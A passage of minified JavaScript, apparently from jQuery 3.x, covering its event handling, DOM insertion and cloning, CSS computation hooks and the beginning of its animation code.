ce,fe,pe=/^(?:checkbox|radio)$/i,de=/<([a-z][^\/\0>\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=S.createDocumentFragment().appendChild(S.createElement("div")),(fe=S.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),v.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="<textarea>x</textarea>",v.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="<option></option>",v.option=!!ce.lastChild;var ge={thead:[1,"<table>","</table>"],col:[2,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:[0,"",""]};function ye(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?E.merge([e],n):n}function ve(e,t){for(var n=0,r=e.length;n<r;n++)Y.set(e[n],"globalEval",!t||Y.get(t[n],"globalEval"))}ge.tbody=ge.tfoot=ge.colgroup=ge.caption=ge.thead,ge.th=ge.td,v.option||(ge.optgroup=ge.option=[1,"<select multiple='multiple'>","</select>"]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d<h;d++)if((o=e[d])||0===o)if("object"===w(o))E.merge(p,o.nodeType?[o]:o);else if(me.test(o)){a=a||f.appendChild(t.createElement("div")),s=(de.exec(o)||["",""])[1].toLowerCase(),u=ge[s]||ge._default,a.innerHTML=u[1]+E.htmlPrefilter(o)+u[2],c=u[0];while(c--)a=a.lastChild;E.merge(p,a.childNodes),(a=f.firstChild).textContent=""}else p.push(t.createTextNode(o));f.textContent="",d=0;while(o=p[d++])if(r&&-1<E.inArray(o,r))i&&i.push(o);else if(l=ie(o),a=ye(f.appendChild(o),"script"),l&&ve(a),n){c=0;while(o=a[c++])he.test(o.type||"")&&n.push(o)}return f}var be=/^([^.]*)(?:\.(.+)|)/;function we(){return!0}function Te(){return!1}function Ce(e,t){return e===function(){try{return S.activeElement}catch(e){}}()==("focus"===t)}function Se(e,t,n,r,i,o){var a,s;if("object"==typeof t){for(s in"string"!=typeof n&&(r=r||n,n=void 0),t)Se(e,s,n,r,t[s],o);return e}if(null==r&&null==i?(i=n,r=n=void 0):null==i&&("string"==typeof n?(i=r,r=void 0):(i=r,r=n,n=void 0)),!1===i)i=Te;else if(!i)return e;return 1===o&&(a=i,(i=function(e){return E().off(e),a.apply(this,arguments)}).guid=a.guid||(a.guid=E.guid++)),e.each(function(){E.event.add(this,t,i,r,n)})}function Ee(e,i,o){o?(Y.set(e,i,!1),E.event.add(e,i,{namespace:!1,handler:function(e){var t,n,r=Y.get(this,i);if(1&e.isTrigger&&this[i]){if(r.length)(E.event.special[i]||{}).delegateType&&e.stopPropagation();else if(r=s.call(arguments),Y.set(this,i,r),t=o(this,i),this[i](),r!==(n=Y.get(this,i))||t?Y.set(this,i,!1):n={},r!==n)return e.stopImmediatePropagation(),e.preventDefault(),n&&n.value}else r.length&&(Y.set(this,i,{value:E.event.trigger(E.extend(r[0],E.Event.prototype),r.slice(1),this)}),e.stopImmediatePropagation())}})):void 0===Y.get(e,i)&&E.event.add(e,i,we)}E.event={global:{},add:function(t,e,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=Y.get(t);if(V(t)){n.handler&&(n=(o=n).handler,i=o.selector),i&&E.find.matchesSelector(re,i),n.guid||(n.guid=E.guid++),(u=y.events)||(u=y.events=Object.create(null)),(a=y.handle)||(a=y.handle=function(e){return"undefined"!=typeof E&&E.event.triggered!==e.type?E.event.dispatch.apply(t,arguments):void 0}),l=(e=(e||"").match(P)||[""]).length;while(l--)d=g=(s=be.exec(e[l])||[])[1],h=(s[2]||"").split(".").sort(),d&&(f=E.event.special[d]||{},d=(i?f.delegateType:f.bindType)||d,f=E.event.special[d]||{},c=E.extend({type:d,origType:g,data:r,handler:n,guid:n.guid,selector:i,needsContext:i&&E.expr.match.needsContext.test(i),namespace:h.join(".")},o),(p=u[d])||((p=u[d]=[]).delegateCount=0,f.setup&&!1!==f.setup.call(t,r,h,a)||t.addEventListener&&t.addEventListener(d,a)),f.add&&(f.add.call(t,c),c.handler.guid||(c.handler.guid=n.guid)),i?p.splice(p.delegateCount++,0,c):p.push(c),E.event.global[d]=!0)}},remove:function(e,t,n,r,i){var o,a,s,u,l,c,f,p,d,h,g,y=Y.hasData(e)&&Y.get(e);if(y&&(u=y.events)){l=(t=(t||"").match(P)||[""]).length;while(l--)if(d=g=(s=be.exec(t[l])||[])[1],h=(s[2]||"").split(".").sort(),d){f=E.event.special[d]||{},p=u[d=(r?f.delegateType:f.bindType)||d]||[],s=s[2]&&new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),a=o=p.length;while(o--)c=p[o],!i&&g!==c.origType||n&&n.guid!==c.guid||s&&!s.test(c.namespace)||r&&r!==c.selector&&("**"!==r||!c.selector)||(p.splice(o,1),c.selector&&p.delegateCount--,f.remove&&f.remove.call(e,c));a&&!p.length&&(f.teardown&&!1!==f.teardown.call(e,h,y.handle)||E.removeEvent(e,d,y.handle),delete u[d])}else for(d in u)E.event.remove(e,d+t[l],n,r,!0);E.isEmptyObject(u)&&Y.remove(e,"handle events")}},dispatch:function(e){var t,n,r,i,o,a,s=new Array(arguments.length),u=E.event.fix(e),l=(Y.get(this,"events")||Object.create(null))[u.type]||[],c=E.event.special[u.type]||{};for(s[0]=u,t=1;t<arguments.length;t++)s[t]=arguments[t];if(u.delegateTarget=this,!c.preDispatch||!1!==c.preDispatch.call(this,u)){a=E.event.handlers.call(this,u,l),t=0;while((i=a[t++])&&!u.isPropagationStopped()){u.currentTarget=i.elem,n=0;while((o=i.handlers[n++])&&!u.isImmediatePropagationStopped())u.rnamespace&&!1!==o.namespace&&!u.rnamespace.test(o.namespace)||(u.handleObj=o,u.data=o.data,void 0!==(r=((E.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s))&&!1===(u.result=r)&&(u.preventDefault(),u.stopPropagation()))}return c.postDispatch&&c.postDispatch.call(this,u),u.result}},handlers:function(e,t){var n,r,i,o,a,s=[],u=t.delegateCount,l=e.target;if(u&&l.nodeType&&!("click"===e.type&&1<=e.button))for(;l!==this;l=l.parentNode||this)if(1===l.nodeType&&("click"!==e.type||!0!==l.disabled)){for(o=[],a={},n=0;n<u;n++)void 0===a[i=(r=t[n]).selector+" "]&&(a[i]=r.needsContext?-1<E(i,this).index(l):E.find(i,this,null,[l]).length),a[i]&&o.push(r);o.length&&s.push({elem:l,handlers:o})}return l=this,u<t.length&&s.push({elem:l,handlers:t.slice(u)}),s},addProp:function(t,e){Object.defineProperty(E.Event.prototype,t,{enumerable:!0,configurable:!0,get:m(e)?function(){if(this.originalEvent)return e(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[t]},set:function(e){Object.defineProperty(this,t,{enumerable:!0,configurable:!0,writable:!0,value:e})}})},fix:function(e){return e[E.expando]?e:new E.Event(e)},special:{load:{noBubble:!0},click:{setup:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Ee(t,"click",we),!1},trigger:function(e){var t=this||e;return pe.test(t.type)&&t.click&&A(t,"input")&&Ee(t,"click"),!0},_default:function(e){var t=e.target;return pe.test(t.type)&&t.click&&A(t,"input")&&Y.get(t,"click")||A(t,"a")}},beforeunload:{postDispatch:function(e){void 0!==e.result&&e.originalEvent&&(e.originalEvent.returnValue=e.result)}}}},E.removeEvent=function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n)},E.Event=function(e,t){if(!(this instanceof E.Event))return new E.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||void 0===e.defaultPrevented&&!1===e.returnValue?we:Te,this.target=e.target&&3===e.target.nodeType?e.target.parentNode:e.target,this.currentTarget=e.currentTarget,this.relatedTarget=e.relatedTarget):this.type=e,t&&E.extend(this,t),this.timeStamp=e&&e.timeStamp||Date.now(),this[E.expando]=!0},E.Event.prototype={constructor:E.Event,isDefaultPrevented:Te,isPropagationStopped:Te,isImmediatePropagationStopped:Te,isSimulated:!1,preventDefault:function(){var e=this.originalEvent;this.isDefaultPrevented=we,e&&!this.isSimulated&&e.preventDefault()},stopPropagation:function(){var e=this.originalEvent;this.isPropagationStopped=we,e&&!this.isSimulated&&e.stopPropagation()},stopImmediatePropagation:function(){var e=this.originalEvent;this.isImmediatePropagationStopped=we,e&&!this.isSimulated&&e.stopImmediatePropagation(),this.stopPropagation()}},E.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,code:!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:!0},E.event.addProp),E.each({focus:"focusin",blur:"focusout"},function(t,e){E.event.special[t]={setup:function(){return Ee(this,t,Ce),!1},trigger:function(){return Ee(this,t),!0},_default:function(e){return Y.get(e.target,t)},delegateType:e}}),E.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(e,i){E.event.special[e]={delegateType:i,bindType:i,handle:function(e){var t,n=e.relatedTarget,r=e.handleObj;return n&&(n===this||E.contains(this,n))||(e.type=r.origType,t=r.handler.apply(this,arguments),e.type=i),t}}}),E.fn.extend({on:function(e,t,n,r){return Se(this,e,t,n,r)},one:function(e,t,n,r){return Se(this,e,t,n,r,1)},off:function(e,t,n){var r,i;if(e&&e.preventDefault&&e.handleObj)return r=e.handleObj,E(e.delegateTarget).off(r.namespace?r.origType+"."+r.namespace:r.origType,r.selector,r.handler),this;if("object"==typeof e){for(i in e)this.off(i,t,e[i]);return this}return!1!==t&&"function"!=typeof t||(n=t,t=void 0),!1===n&&(n=Te),this.each(function(){E.event.remove(this,e,n,t)})}});var ke=/<script|<style|<link/i,Ae=/checked\s*(?:[^=]|=\s*.checked.)/i,Ne=/^\s*<!\[CDATA\[|\]\]>\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&E(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n<r;n++)E.event.add(t,i,s[i][n]);Q.hasData(e)&&(o=Q.access(e),a=E.extend({},o),Q.set(t,a))}}function He(n,r,i,o){r=g(r);var e,t,a,s,u,l,c=0,f=n.length,p=f-1,d=r[0],h=m(d);if(h||1<f&&"string"==typeof d&&!v.checkClone&&Ae.test(d))return n.each(function(e){var t=n.eq(e);h&&(r[0]=d.call(this,e,t.html())),He(t,r,i,o)});if(f&&(t=(e=xe(r,n[0].ownerDocument,!1,n,o)).firstChild,1===e.childNodes.length&&(e=t),t||o)){for(s=(a=E.map(ye(e,"script"),De)).length;c<f;c++)u=e,c!==p&&(u=E.clone(u,!0,!0),s&&E.merge(a,ye(u,"script"))),i.call(n[c],u,c);if(s)for(l=a[a.length-1].ownerDocument,E.map(a,qe),c=0;c<s;c++)u=a[c],he.test(u.type||"")&&!Y.access(u,"globalEval")&&E.contains(l,u)&&(u.src&&"module"!==(u.type||"").toLowerCase()?E._evalUrl&&!u.noModule&&E._evalUrl(u.src,{nonce:u.nonce||u.getAttribute("nonce")},l):b(u.textContent.replace(Ne,""),u,l))}return n}function Oe(e,t,n){for(var r,i=t?E.filter(t,e):e,o=0;null!=(r=i[o]);o++)n||1!==r.nodeType||E.cleanData(ye(r)),r.parentNode&&(n&&ie(r)&&ve(ye(r,"script")),r.parentNode.removeChild(r));return e}E.extend({htmlPrefilter:function(e){return e},clone:function(e,t,n){var r,i,o,a,s,u,l,c=e.cloneNode(!0),f=ie(e);if(!(v.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||E.isXMLDoc(e)))for(a=ye(c),r=0,i=(o=ye(e)).length;r<i;r++)s=o[r],u=a[r],void 0,"input"===(l=u.nodeName.toLowerCase())&&pe.test(s.type)?u.checked=s.checked:"input"!==l&&"textarea"!==l||(u.defaultValue=s.defaultValue);if(t)if(n)for(o=o||ye(e),a=a||ye(c),r=0,i=o.length;r<i;r++)Le(o[r],a[r]);else Le(e,c);return 0<(a=ye(c,"script")).length&&ve(a,!f&&ye(e,"script")),c},cleanData:function(e){for(var t,n,r,i=E.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?E.event.remove(n,r):E.removeEvent(n,r,t.handle);n[Y.expando]=void 0}n[Q.expando]&&(n[Q.expando]=void 0)}}}),E.fn.extend({detach:function(e){return Oe(this,e,!0)},remove:function(e){return Oe(this,e)},text:function(e){return B(this,function(e){return void 0===e?E.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=e)})},null,e,arguments.length)},append:function(){return He(this,arguments,function(e){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||je(this,e).appendChild(e)})},prepend:function(){return He(this,arguments,function(e){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var t=je(this,e);t.insertBefore(e,t.firstChild)}})},before:function(){return He(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this)})},after:function(){return He(this,arguments,function(e){this.parentNode&&this.parentNode.insertBefore(e,this.nextSibling)})},empty:function(){for(var e,t=0;null!=(e=this[t]);t++)1===e.nodeType&&(E.cleanData(ye(e,!1)),e.textContent="");return this},clone:function(e,t){return e=null!=e&&e,t=null==t?e:t,this.map(function(){return E.clone(this,e,t)})},html:function(e){return B(this,function(e){var t=this[0]||{},n=0,r=this.length;if(void 0===e&&1===t.nodeType)return t.innerHTML;if("string"==typeof e&&!ke.test(e)&&!ge[(de.exec(e)||["",""])[1].toLowerCase()]){e=E.htmlPrefilter(e);try{for(;n<r;n++)1===(t=this[n]||{}).nodeType&&(E.cleanData(ye(t,!1)),t.innerHTML=e);t=0}catch(e){}}t&&this.empty().append(e)},null,e,arguments.length)},replaceWith:function(){var n=[];return He(this,arguments,function(e){var t=this.parentNode;E.inArray(this,n)<0&&(E.cleanData(ye(this)),t&&t.replaceChild(e,this))},n)}}),E.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(e,a){E.fn[e]=function(e){for(var t,n=[],r=E(e),i=r.length-1,o=0;o<=i;o++)t=o===i?this:this.clone(!0),E(r[o])[a](t),u.apply(n,t.get());return this.pushStack(n)}});var Pe=new RegExp("^("+ee+")(?!px)[a-z%]+$","i"),Re=/^--/,Me=function(e){var t=e.ownerDocument.defaultView;return t&&t.opener||(t=C),t.getComputedStyle(e)},Ie=function(e,t,n){var r,i,o={};for(i in t)o[i]=e.style[i],e.style[i]=t[i];for(i in r=n.call(e),t)e.style[i]=o[i];return r},We=new RegExp(ne.join("|"),"i"),Fe="[\\x20\\t\\r\\n\\f]",$e=new RegExp("^"+Fe+"+|((?:^|[^\\\\])(?:\\\\.)*)"+Fe+"+$","g");function Be(e,t,n){var r,i,o,a,s=Re.test(t),u=e.style;return(n=n||Me(e))&&(a=n.getPropertyValue(t)||n[t],s&&a&&(a=a.replace($e,"$1")||void 0),""!==a||ie(e)||(a=E.style(e,t)),!v.pixelBoxStyles()&&Pe.test(a)&&We.test(t)&&(r=u.width,i=u.minWidth,o=u.maxWidth,u.minWidth=u.maxWidth=u.width=a,a=n.width,u.width=r,u.minWidth=i,u.maxWidth=o)),void 0!==a?a+"":a}function _e(e,t){return{get:function(){if(!e())return(this.get=t).apply(this,arguments);delete this.get}}}!function(){function e(){if(l){u.style.cssText="position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0",l.style.cssText="position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%",re.appendChild(u).appendChild(l);var e=C.getComputedStyle(l);n="1%"!==e.top,s=12===t(e.marginLeft),l.style.right="60%",o=36===t(e.right),r=36===t(e.width),l.style.position="absolute",i=12===t(l.offsetWidth/3),re.removeChild(u),l=null}}function t(e){return Math.round(parseFloat(e))}var n,r,i,o,a,s,u=S.createElement("div"),l=S.createElement("div");l.style&&(l.style.backgroundClip="content-box",l.cloneNode(!0).style.backgroundClip="",v.clearCloneStyle="content-box"===l.style.backgroundClip,E.extend(v,{boxSizingReliable:function(){return e(),r},pixelBoxStyles:function(){return e(),o},pixelPosition:function(){return e(),n},reliableMarginLeft:function(){return e(),s},scrollboxSize:function(){return e(),i},reliableTrDimensions:function(){var e,t,n,r;return null==a&&(e=S.createElement("table"),t=S.createElement("tr"),n=S.createElement("div"),e.style.cssText="position:absolute;left:-11111px;border-collapse:separate",t.style.cssText="border:1px solid",t.style.height="1px",n.style.height="9px",n.style.display="block",re.appendChild(e).appendChild(t).appendChild(n),r=C.getComputedStyle(t),a=parseInt(r.height,10)+parseInt(r.borderTopWidth,10)+parseInt(r.borderBottomWidth,10)===t.offsetHeight,re.removeChild(e)),a}}))}();var ze=["Webkit","Moz","ms"],Ue=S.createElement("div").style,Xe={};function Ve(e){var t=E.cssProps[e]||Xe[e];return t||(e in Ue?e:Xe[e]=function(e){var t=e[0].toUpperCase()+e.slice(1),n=ze.length;while(n--)if((e=ze[n]+t)in Ue)return e}(e)||e)}var Ge=/^(none|table(?!-c[ea]).+)/,Ye={position:"absolute",visibility:"hidden",display:"block"},Qe={letterSpacing:"0",fontWeight:"400"};function Je(e,t,n){var r=te.exec(t);return r?Math.max(0,r[2]-(n||0))+(r[3]||"px"):t}function Ke(e,t,n,r,i,o){var a="width"===t?1:0,s=0,u=0;if(n===(r?"border":"content"))return 0;for(;a<4;a+=2)"margin"===n&&(u+=E.css(e,n+ne[a],!0,i)),r?("content"===n&&(u-=E.css(e,"padding"+ne[a],!0,i)),"margin"!==n&&(u-=E.css(e,"border"+ne[a]+"Width",!0,i))):(u+=E.css(e,"padding"+ne[a],!0,i),"padding"!==n?u+=E.css(e,"border"+ne[a]+"Width",!0,i):s+=E.css(e,"border"+ne[a]+"Width",!0,i));return!r&&0<=o&&(u+=Math.max(0,Math.ceil(e["offset"+t[0].toUpperCase()+t.slice(1)]-o-u-s-.5))||0),u}function Ze(e,t,n){var r=Me(e),i=(!v.boxSizingReliable()||n)&&"border-box"===E.css(e,"boxSizing",!1,r),o=i,a=Be(e,t,r),s="offset"+t[0].toUpperCase()+t.slice(1);if(Pe.test(a)){if(!n)return a;a="auto"}return(!v.boxSizingReliable()&&i||!v.reliableTrDimensions()&&A(e,"tr")||"auto"===a||!parseFloat(a)&&"inline"===E.css(e,"display",!1,r))&&e.getClientRects().length&&(i="border-box"===E.css(e,"boxSizing",!1,r),(o=s in e)&&(a=e[s])),(a=parseFloat(a)||0)+Ke(e,t,n||(i?"border":"content"),o,r,a)+"px"}function et(e,t,n,r,i){return new et.prototype.init(e,t,n,r,i)}E.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Be(e,"opacity");return""===n?"1":n}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,gridArea:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnStart:!0,gridRow:!0,gridRowEnd:!0,gridRowStart:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{},style:function(e,t,n,r){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var i,o,a,s=X(t),u=Re.test(t),l=e.style;if(u||(t=Ve(s)),a=E.cssHooks[t]||E.cssHooks[s],void 0===n)return a&&"get"in a&&void 0!==(i=a.get(e,!1,r))?i:l[t];"string"===(o=typeof n)&&(i=te.exec(n))&&i[1]&&(n=se(e,t,i),o="number"),null!=n&&n==n&&("number"!==o||u||(n+=i&&i[3]||(E.cssNumber[s]?"":"px")),v.clearCloneStyle||""!==n||0!==t.indexOf("background")||(l[t]="inherit"),a&&"set"in a&&void 0===(n=a.set(e,n,r))||(u?l.setProperty(t,n):l[t]=n))}},css:function(e,t,n,r){var i,o,a,s=X(t);return Re.test(t)||(t=Ve(s)),(a=E.cssHooks[t]||E.cssHooks[s])&&"get"in a&&(i=a.get(e,!0,n)),void 0===i&&(i=Be(e,t,r)),"normal"===i&&t in Qe&&(i=Qe[t]),""===n||n?(o=parseFloat(i),!0===n||isFinite(o)?o||0:i):i}}),E.each(["height","width"],function(e,u){E.cssHooks[u]={get:function(e,t,n){if(t)return!Ge.test(E.css(e,"display"))||e.getClientRects().length&&e.getBoundingClientRect().width?Ze(e,u,n):Ie(e,Ye,function(){return Ze(e,u,n)})},set:function(e,t,n){var r,i=Me(e),o=!v.scrollboxSize()&&"absolute"===i.position,a=(o||n)&&"border-box"===E.css(e,"boxSizing",!1,i),s=n?Ke(e,u,n,a,i):0;return a&&o&&(s-=Math.ceil(e["offset"+u[0].toUpperCase()+u.slice(1)]-parseFloat(i[u])-Ke(e,u,"border",!1,i)-.5)),s&&(r=te.exec(t))&&"px"!==(r[3]||"px")&&(e.style[u]=t,t=E.css(e,u)),Je(0,t,s)}}}),E.cssHooks.marginLeft=_e(v.reliableMarginLeft,function(e,t){if(t)return(parseFloat(Be(e,"marginLeft"))||e.getBoundingClientRect().left-Ie(e,{marginLeft:0},function(){return e.getBoundingClientRect().left}))+"px"}),E.each({margin:"",padding:"",border:"Width"},function(i,o){E.cssHooks[i+o]={expand:function(e){for(var t=0,n={},r="string"==typeof e?e.split(" "):[e];t<4;t++)n[i+ne[t]+o]=r[t]||r[t-2]||r[0];return n}},"margin"!==i&&(E.cssHooks[i+o].set=Je)}),E.fn.extend({css:function(e,t){return B(this,function(e,t,n){var r,i,o={},a=0;if(Array.isArray(t)){for(r=Me(e),i=t.length;a<i;a++)o[t[a]]=E.css(e,t[a],!1,r);return o}return void 0!==n?E.style(e,t,n):E.css(e,t)},e,t,1<arguments.length)}}),((E.Tween=et).prototype={constructor:et,init:function(e,t,n,r,i,o){this.elem=e,this.prop=n,this.easing=i||E.easing._default,this.options=t,this.start=this.now=this.cur(),this.end=r,this.unit=o||(E.cssNumber[n]?"":"px")},cur:function(){var e=et.propHooks[this.prop];return e&&e.get?e.get(this):et.propHooks._default.get(this)},run:function(e){var t,n=et.propHooks[this.prop];return this.options.duration?this.pos=t=E.easing[this.easing](e,this.options.duration*e,0,1,this.options.duration):this.pos=t=e,this.now=(this.end-this.start)*t+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),n&&n.set?n.set(this):et.propHooks._default.set(this),this}}).init.prototype=et.prototype,(et.propHooks={_default:{get:function(e){var t;return 1!==e.elem.nodeType||null!=e.elem[e.prop]&&null==e.elem.style[e.prop]?e.elem[e.prop]:(t=E.css(e.elem,e.prop,""))&&"auto"!==t?t:0},set:function(e){E.fx.step[e.prop]?E.fx.step[e.prop](e):1!==e.elem.nodeType||!E.cssHooks[e.prop]&&null==e.elem.style[Ve(e.prop)]?e.elem[e.prop]=e.now:E.style(e.elem,e.prop,e.now+e.unit)}}}).scrollTop=et.propHooks.scrollLeft={set:function(e){e.elem.nodeType&&e.elem.parentNode&&(e.elem[e.prop]=e.now)}},E.easing={linear:function(e){return e},swing:function(e){return.5-Math.cos(e*Math.PI)/2},_default:"swing"},E.fx=et.prototype.init,E.fx.step={};var tt,nt,rt,it,ot=/^(?:toggle|show|hide)$/,at=/queueHooks$/;function st(){nt&&(!1===S.hidden&&C.requestAnimationFrame?C.requestAnimationFrame(st):C.setTimeout(st,E.fx.interval),E.fx.tick())}function ut(){return C.setTimeout(function(){tt=void 0}),tt=Date.now()}function lt(e,t){var n,r=0,i={height:e};for(t=t?1:0;r<4;r+=2-t)i["margin"+(n=ne[r])]=i["padding"+n]=e;return t&&(i.opacity=i.width=e),i}function ct(e,t,n){for(var r,i=(ft.tweeners[t]||[]).concat(ft.tweeners["*"]),o=0,a=i.length;o<a;o++)if(r=i[o].call(n,t,e))return r}function ft(o,e,t){var n,a,r=0,i=ft.prefilters.length,s=E.Deferred().always(function(){delete u.elem}),u=function(){if(a)return!1;for(var e=tt||ut(),t=Math.max(0,l.startTime+l.duration-e),n=1-(t/l.duration||0),r=0,i=l.tweens.length;r<i;r++)l.tweens[r].run(n);return s.notifyWith(o,[l,n,t]),n<1&&i?t:(i||s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l]),!1)},l=s.promise({elem:o,props:E.extend({},e),opts:E.extend(!0,{specialEasing:{},easing:E.easing._default},t),originalProperties:e,originalOptions:t,startTime:tt||ut(),duration:t.duration,tweens:[],createTween:function(e,t){var n=E.Tween(o,l.opts,e,t,l.opts.specialEasing[e]||l.opts.easing);return l.tweens.push(n),n},stop:function(e){var t=0,n=e?l.tweens.length:0;if(a)return this;for(a=!0;t<n;t++)l.tweens[t].run(1);return e?(s.notifyWith(o,[l,1,0]),s.resolveWith(o,[l,e])):s.rejectWith(o,[l,e]),this}}),c=l.props;for(!function(e,t){var n,r,i,o,a;for(n in e)if(i=t[r=X(n)],o=e[n],Array.isArray(o)&&(i=o[1],o=e[n]=o[0]),n!==r&&(e[r]=o,delete e[n]),(a=E.cssHooks[r])&&"expand"in a)for(n in o=a.expand(o),delete e[r],o)n in e||(e[n]=o[n],t[n]=i);else t[r]=i}(c,l.opts.specialEasing);r<i;r++)if(n=ft.prefilters[r].call(l,o,c,l.opts))return m(n.stop)&&(E._queueHooks(l.elem,l.opts.queue).stop=n.stop.bind(n)),n;return E.map(c,ct,l),m(l.opts.start)&&l.opts.start.call(o,l),l.progress(l.opts.progress).done(l.opts.done,l.opts.complete).fail(l.opts.fail).always(l.opts.always),E.fx.timer(E.extend(u,{elem:o,anim:l,queue:l.opts.queue})),l}E.Animation=E.extend(ft,{tweeners:{"*":[function(e,t){var n=this.createTween(e,t);return se(n.elem,e,te.exec(t),n),n}]},tweener:function(e,t){m(e)?(t=e,e=["*"]):e=e.match(P);for(var n,r=0,i=e.length;r<i;r++)n=e[r],ft.tweeners[n]=ft.tweeners[n]||[],ft.tweeners[n].unshift(t)},prefilters:[function(e,t,n){var r,i,o,a,s,u,l,c,f="width"in t||"height"in t,p=this,d={},h=e.style,g=e.nodeType&&ae(e),y=Y.get(e,"fxshow");for(r in n.queue||(null==(a=E._queueHooks(e,"fx")).unqueued&&(a.unqueued=0,s=a.empty.fire,a.empty.fire=function(){a.unqueued||s()}),a.unqueued++,p.always(function(){p.always(function(){a.unqueued--,E.queue(e,"fx").length||a.empty.fire()})})),t)if(i=t[r],ot.test(i)){if(delete t[r],o=o||"toggle"===i,i===(g?"hide":"show")){if("show"!==i||!y||void 0===y[r])continue;g=!0}d[r]=y&&y[r]||E.style(e,r)}if((u=!E.isEmptyObject(t))||!E.isEmptyObject(d))for(r in f&&1===e.nodeType&&(n.overflow=[h.overflow,h.overflowX,h.overflowY],null==(l=y&&y.display)&&(l=Y.get(e,"display")),"none"===(c=E.css(e,"display"))&&(l?c=l:(le([e],!0),l=e.style.display||l,c=E.css(e,"display"),le([e]))),("inline"===c||"inline-block"===c&&null!=l)&&"none"===E.css(e,"float")&&(u||(p.done(function(){h.display=l}),null==l&&(c=h.display,l="none"===c?"":c)),h.display="inline-block")),n.overflow&&(h.overflow="hidden",p.always(function(){h.overflow=n.overflow[0],h.overflowX=n.overflow[1],h.overflowY=n.overflow[2]})),u=!1,d)u||(y?"hidden"in y&&(g=y.hidden):y=Y.access(e,"fxshow",{display:l}),o&&(y.hidden=!g),g&&le([e],!0),p.done(function(){for(r in g||le([e]),Y.remove(e,"fxshow"),d)E.style(e,r,d[r])})),u=ct(g?y[r]:0,r,p),r in y||(y[r]=u.start,g&&(u.end=u.start,u.start=0))}],prefilter:function(e,t){t?ft.prefilters.unshift(e):ft.prefilters.push(e)}}),E.speed=function(e,t,n){var r=e&&"object"==typeof e?E.extend({},e):{complete:n||!n&&t||m(e)&&e,duration:e,easing:n&&t||t&&!m(t)&&t};return E.fx.off?r.duration=0:"number"!=typeof r.duration&&(r.duration in E.fx.speeds?r.duration=E.fx.speeds[r.duration]:r.duration=E.fx.speeds._default),null!=r.queue&&!0!==r.queue||(r.queue="fx"),r.old=r.complete,r.complete=function(){m(r.old)&&r.old.call(this),r.queue&&E.dequeue(this,r.queue)},r},E.fn.extend({fadeTo:function(e,t,n,r){return this.filter(ae).css("opacity",0).show().end().animate({opacity:t},e,n,r)},animate:function(t,e,n,r){var i=E.isEmptyObject(t),o=E.speed(e,n,r),a=function(){var e=ft(this,E.extend({},t),o);(i||Y.get(this,"finish"))&&e.stop(!0)};return a.finish=a,i||!1===o.queue?this.each(a):this.queue(o.queue,a)},stop:function(i,e,o){var a=function(e){var t=e.stop;delete e.stop,t(o)};return"string"!=typeof i&&(o=e,e=i,i=void 0),e&&this.queue(i||"fx",[]),this.each(function(){var e=!0,t=null!=i&&i+"queueHooks",n=E.timers,r=Y.get(this);if(t)r[t]&&r[t].stop&&a(r[t]);else for(t in 